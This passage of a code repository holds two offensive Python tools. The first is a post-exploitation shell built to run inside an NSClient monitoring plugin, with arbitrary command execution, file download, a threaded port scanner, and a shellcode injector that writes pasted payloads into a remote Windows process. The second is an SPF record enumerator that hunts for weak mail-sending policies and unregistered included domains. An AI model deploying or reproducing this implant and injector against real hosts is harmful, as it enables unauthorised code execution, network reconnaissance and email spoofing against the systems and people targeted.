os.path.join( d, f ) 182 | if os.path.isfile( fn ): 183 | rtn += '\n' + str(os.path.getsize( fn )).rjust(10) 184 | else: 185 | rtn += '\n' + 'd'.rjust(10) 186 | rtn += ' ' + time.ctime( os.path.getmtime(fn) ) + ' ' + f 187 | return rtn 188 | 189 | def do_cat( parts ): 190 | d = resolve_path( parts ) 191 | with open( d, 'r' ) as f: 192 | return f.read() 193 | 194 | def do_bat( parts ): 195 | d = resolve_path( parts ) 196 | with open( d, 'rb' ) as f: 197 | return base64.b64encode( f.read() ) 198 | 199 | def do_cp( parts ): 200 | if len( parts ) < 3: 201 | print('cp ') 202 | return 203 | source = resolve_path( ['',parts[1]] ) 204 | dest = resolve_path( ['',parts[2]] ) 205 | shutil.copy(source,dest) 206 | 207 | def do_mv( parts ): 208 | if len( parts ) < 3: 209 | print('mv ') 210 | return 211 | source = resolve_path( ['',parts[1]] ) 212 | dest = resolve_path( ['',parts[2]] ) 213 | shutil.move(source,dest) 214 | 215 | def do_rm( parts ): 216 | f = resolve_path( parts ) 217 | os.remove(f) 218 | 219 | def do_exec( parts ): 220 | f = resolve_path( parts ) 221 | return subprocess.check_output(parts[1:]) 222 | 223 | def do_grep( parts ): 224 | if len( parts ) == 1: return '' 225 | pattern = parts[1] 226 | if len( parts ) == 2: 227 | d = '.' 228 | else: 229 | d = resolve_path(parts[1:]) 230 | if os.path.isfile( d ): 231 | return grep( d, pattern ) 232 | rtn = '' 233 | for root, dirs, files in os.walk(d): 234 | for name in files: 235 | fn = os.path.join( root, name ) 236 | rtn += grep(fn,pattern) 237 | return rtn 238 | 239 | def grep( file, pattern ): 240 | try: 241 | with open( file, 'r' ) as f: 242 | buf = f.read() 243 | m = re.findall( pattern, buf, re.I ) 244 | if len( m ) == 0: return '' 245 | rtn = '\n' + '\n'.join([ file + ': ' + x for x in m]) 246 | return rtn 247 | except Exception as e: 248 | return '' 249 | 250 | def do_python( parts ): 251 | parts[0] = sys.executable 252 | print( parts ) 253 | print( os.environ['PYTHONHOME'] ) 254 | try: 255 | return subprocess.run( parts, capture_output=True ) 256 | except Exception as e: 257 | return str(e) 258 | 259 | def do_eval( parts ): 260 | code = ' '.join(parts[1:]) 261 | try: 262 | exec(code) 263 | except Exception as e: 264 | print(e) 265 | return '' 266 | 267 | def do_install( parts ): 268 | package = parts[1] 269 | pip.main(['install','--cache-dir',cachedir,'--prefix',pythondir,'--upgrade',package]) 270 | return '' 271 | 272 | def do_find( parts ): 273 | if len( parts ) == 1: return '' 274 | pattern = parts[1] 275 | if len( parts ) == 2: 276 | d = '.' 277 | else: 278 | d = resolve_path(parts[1:]) 279 | rtn = '' 280 | for root, dirs, files in os.walk(d): 281 | for name in fnmatch.filter( files, pattern ): 282 | fn = os.path.join( root, name ) 283 | rtn += '\n' + fn 284 | return rtn 285 | 286 | def do_wget( parts ): 287 | if len( parts ) == 1: return '' 288 | url = '%20'.join(parts[1:]) 289 | outfile = os.path.basename(url).strip() 290 | if outfile == '': outfile = 'download' 291 | outfile = os.path.join(downloadsdir,outfile) 292 | r = urllib.request.urlopen(url) 293 | with open( outfile, 'wb' ) as f: f.write(r.read()) 294 | return outfile 295 | 296 | def do_nmap( parts ): 297 | if len( parts ) == 1: 298 | return 'Usage: nmap -p 21-80,443 192.168.1.0/24,192.168.0.30' 299 | args = {'target':parts[-1]} 300 | for a in getopt.getopt( parts[1:], 'p:t:' )[0]: 301 | args[a[0][1]] = a[1] 302 | 303 | # Expand port ranges 304 | if 'p' in args: ports = mixrange(args['p']) 305 | 306 | # Default ports 307 | else: ports = '80,443,445,21,22,23,389,636,25,110,53,3389,3306,8080,587,8888,81,8443,8000,1433,139,143,135,1723,111,995,993,5900,1025,199,1720,465,548,113,6001,10000,514,5060,179,1026,2000,32768,554,26,49152,2001,515,8008'.split(',') 308 | 309 | # Threads 310 | if 't' in args: max_threads = int(args['t']) 311 | else: max_threads = 20 312 | 313 | # Parse target 314 | ips = [] 315 | for t in args['target'].split(','): 316 | 317 | # hostname 318 | if re.search('[a-z]',t): 319 | ips.append(socket.gethostbyname(t)) 320 | continue 321 | 322 | # CIDR 323 | if re.search('\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\/\d{1,2}',t): 324 | net=ipaddress.ip_network(t) 325 | for ip in net: ips.append(str(ip)) 326 | continue 327 | 328 | # Range in last octet 329 | m = re.search('(\d{1,3}\.\d{1,3}\.\d{1,3}\.)(\d{1,3})\s*-\s*(\d+)',t) 330 | if m: 331 | for i in range(int(m.group(2)),int(m.group(3))+1): 332 | ips.append(m.group(1)+str(i)) 333 | continue 334 | 335 | # Single IP 336 | if re.search('\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',t): 337 | ips.append(t) 338 | continue 339 | 340 | # Create target services, IP wide first 341 | try: 342 | targets = queue.Queue() 343 | for ip in ips: 344 | for port in ports: 345 | targets.put((ip,port)) 346 | 347 | open_ports = [] 348 | 349 | def scanner(): 350 | while True: 351 | target = targets.get() 352 | scan_port( target[0], target[1] ) 353 | targets.task_done() 354 | except: 355 | print('Multithreading failed, attempting single threaded scan...') 356 | for ip in ips: 357 | for port in ports: 358 | scan_port(ip,port) 359 | 360 | def scan_port( ip, port ): 361 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 362 | socket.setdefaulttimeout(1) 363 | port = int( port ) 364 | result = s.connect_ex((ip,port)) 365 | if result == 0: 366 | print('OPEN:',ip+':'+str(port)) 367 | open_ports.append((ip,port)) 368 | s.close() 369 | 370 | # Multithreading 371 | for i in range(max_threads): 372 | threading.Thread(target=scanner, daemon=True).start() 373 | targets.join() 374 | 375 | return 'Open ports found:\n' + '\n'.join([x[0]+':'+str(x[1]) for x in open_ports]) 376 | 377 | def mixrange(s): 378 | r = [] 379 | for i in s.split(','): 380 | if '-' not in i: 381 | r.append(int(i)) 382 | else: 383 | l,h = map(int, i.split('-')) 384 | print(l,h) 385 | r+= range(l,h+1) 386 | return r 387 | 388 | def do_ps( parts ): 389 | fields = 'pid,ppid,username,cmdline'.split(',') 390 | s = '' 391 | for p in psutil.process_iter(fields): 392 | d = p.as_dict() 393 | s += '\n' 394 | for f in fields: 395 | s += str(d[f]).ljust(10) 396 | return s 397 | 398 | def do_netstat( parts ): 399 | s = '' 400 | for n in psutil.net_connections(): 401 | s += '\n' + (n.laddr.ip + ':' + str( n.laddr.port )).ljust(20) 402 | if n.raddr: 403 | s+= (n.raddr.ip + ':' + str( n.raddr.port )).ljust(20) 404 | else: s+= ' '*20 405 | s += n.status.ljust(20) + str(n.pid) 406 | return s 407 | 408 | def do_ifconfig( parts ): 409 | addrs = psutil.net_if_addrs() 410 | s = '' 411 | for iface,inf in addrs.items(): 412 | s += '\n' + iface + ':\n' 413 | for i in inf: 414 | s += ' Address: ' + str( i.address ) + '\n' 415 | s += ' Netmask: ' + str( i.netmask ) + '\n' 416 | return s 417 | 418 | def do_inject( parts ): 419 | 420 | # Thank you, Chris https://www.christophertruncer.com/injecting-shellcode-into-a-remote-process-with-python/ 421 | 422 | if len( parts ) < 2: 423 | print('shellcode ') 424 | return 425 | 426 | process_id = int( parts[1] ) 427 | page_rwx_value = 0x40 428 | process_all = 0x1F0FFF 429 | memcommit = 0x00001000 430 | kernel32_variable = windll.kernel32 431 | shellcode = base64.b64decode(input('Paste in shellcode in base64: ')) 432 | shellcode_length = len(shellcode) 433 | process_handle = kernel32_variable.OpenProcess(process_all, False, process_id) 434 | memory_allocation_variable = kernel32_variable.VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value) 435 | kernel32_variable.WriteProcessMemory(process_handle, memory_allocation_variable, shellcode, shellcode_length, 0) 436 | kernel32_variable.CreateRemoteThread(process_handle, None, 0, memory_allocation_variable, 0, 0, 0) 437 | 438 | # To run inside nsclient 439 | 440 | def init(plugin_id, plugin_alias, script_alias ): 441 | pass 442 | 443 | def shutdown( args ): 444 | pass 445 | 446 | def __main__( args ): 447 | shell() 448 | 449 | print('Falling back to python REPL') 450 | import code 451 | code.InteractiveConsole(locals=globals()).interact() 452 | 453 | if __name__ == '__main__': 454 | __main__([]) 455 | 456 | 457 | -------------------------------------------------------------------------------- /spf-enumerator.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # Recursively examine SPF records for holes 3 | # Requires "dig" 4 | 5 | import argparse, sys, re, time, subprocess, json, netaddr 6 | 7 | def get_dig_answer( domain, querytype ): 8 | rtn = [] 9 | for line in subprocess.check_output(['dig',domain,querytype,'+noall','+answer']).decode('utf8').splitlines(): 10 | if querytype == 'txt': 11 | m = re.findall('"([^"]+)"', line) 12 | s = ' '.join(m).strip().replace(' ',' ') 13 | else: 14 | m = re.search('([^ ]+)$', line) 15 | if not m: continue 16 | s = m.group(1) 17 | if querytype == 'mx': 18 | s = s.strip()[:-1] 19 | rtn.append(s) 20 | return rtn 21 | 22 | def domain_exists( domain ): 23 | try: 24 | if 'NXDOMAIN' in subprocess.check_output(['host',domain]).decode('utf8'): 25 | return False 26 | return True 27 | except: 28 | print('Error looking up domain', domain) 29 | return False 30 | 31 | def get_allowed_hosts( domain, recurse=True ): 32 | rtn = {domain:[]} 33 | hosts = [] 34 | qualifiers = [] 35 | modifiers = [] 36 | for line in get_dig_answer(domain,'txt'): 37 | if 'v=spf' in line: 38 | # print(domain, line) 39 | for item in line.split(' '): 40 | item = item.lower() 41 | 42 | # Recurse into "include:" 43 | if recurse and item.startswith('include:'): 44 | d = item.split(':')[1] 45 | hosts.append(get_allowed_hosts(d)) 46 | 47 | # Recurse into "redirect=" 48 | elif recurse and item.startswith('redirect='): 49 | d = item.split('=')[1] 50 | hosts.append(get_allowed_hosts(d)) 51 | 52 | # Specified IP 53 | elif item.startswith('ip') or item.startswith('a:'): 54 | hosts.append(item) 55 | 56 | # References to other DNS records 57 | elif item == 'mx': 58 | hosts+= get_dig_answer( domain, 'mx' ) 59 | 60 | elif item.split(':')[0] == 'ptr': 61 | t,d = item.split(':') 62 | hosts += get_allowed_hosts( d ) 63 | 64 | elif item.startswith('mx:'): 65 | t,d = item.split(':') 66 | hosts+= get_dig_answer( d, 'mx' ) 67 | 68 | # EXISTS 69 | elif item.startswith('exists:'): 70 | if not domain_exists( item.split(':')[1] ): 71 | item = '!' + item 72 | hosts.append( item ) 73 | 74 | # Qualifiers 75 | elif item[0] in '+-~?': 76 | q = item[0] 77 | if q == '+': 78 | t = 'PASS' 79 | elif q == '?': 80 | t = 'NEUTRAL' 81 | elif q == '~': 82 | t = 'SOFTFAIL' 83 | elif q == '-': 84 | t = 'FAIL' 85 | qualifiers.append(t+': '+item) 86 | 87 | elif '=' in item: 88 | m = re.search('(.+)=(.+)', item) 89 | if m: 90 | modifiers.append( item ) 91 | 92 | else: 93 | if recurse: print('WHAT:',item) 94 | 95 | rtn = {domain: {'hosts':hosts,'qualifiers':qualifiers,'modifiers':modifiers}} 96 | return rtn 97 | 98 | def get_ips( allowlist ): 99 | rtn = [] 100 | ipset = netaddr.IPSet() 101 | for domain, info in allowlist.items(): 102 | for host in info['hosts']: 103 | if type( host ) is dict: 104 | rtn += get_ips( host ) 105 | elif host.startswith('ip4:'): 106 | ipset.add(netaddr.IPNetwork(host.split(':')[1])) 107 | for ip in ipset: 108 | rtn.append( str( ip ) ) 109 | rtn = sorted( list( set( rtn ) ) ) 110 | return list( set( rtn ) ) 111 | 112 | def analyse( allowed, parentpath=[], parenthardfail=False ): 113 | for domain,info in allowed.items(): 114 | hardfail = False 115 | score = 0 116 | issues = [] 117 | for q in info['qualifiers']: 118 | if q.startswith('FAIL'): 119 | hardfail = True 120 | break 121 | if q.startswith('NEUTRAL'): 122 | issues.append('[!] Neutral qualifier') 123 | score = 2 124 | 125 | if not hardfail and not parenthardfail: 126 | score = 1 127 | issues.append('[-] No hard fail') 128 | 129 | for host in info['hosts']: 130 | if type( host ) is dict: 131 | analyse( host, parentpath + [domain], parenthardfail or hardfail ) 132 | else: 133 | if host.startswith('!exists'): 134 | score = 3 135 | issues.append('[!] UNREGISTERED DOMAIN') 136 | if score > 0: 137 | print('\nWeak SPF dependency (score '+str(score)+'):',' -> '.join(parentpath + [domain])) 138 | print(' - ' + '\n - '.join(issues)) 139 | 140 | def main(): 141 | parser = argparse.ArgumentParser(description="Recursively scan SPF records for allowed IPs") 142 | parser.add_argument("--ips", action="store_true", help="Output an expanded list of all IP addresses allowed to send from this domain") 143 | parser.add_argument('-a',"--analyse", action="store_true", help="Find weak spots in the SPF records") 144 | parser.add_argument('-n',"--norecurse", action="store_true", help="Don't recurse through include: and redirect=") 145 | parser.add_argument("domain", help="email domain to scan from") 146 | args = parser.parse_args() 147 | 148 | allowed = get_allowed_hosts(args.domain, recurse=(not args.norecurse)) 149 | 150 | # Output list of allowed IPs 151 | if args.ips: 152 | ips = get_ips( allowed ) 153 | print( '\n'.join(ips) ) 154 | sys.exit(0) 155 | 156 | if args.analyse: 157 | analyse( allowed ) 158 | sys.exit(0) 159 | 160 | print(json.dumps(allowed,indent=2)) 161 | 162 | if __name__ == '__main__': 163 | main() 164 | --------------------------------------------------------------------------------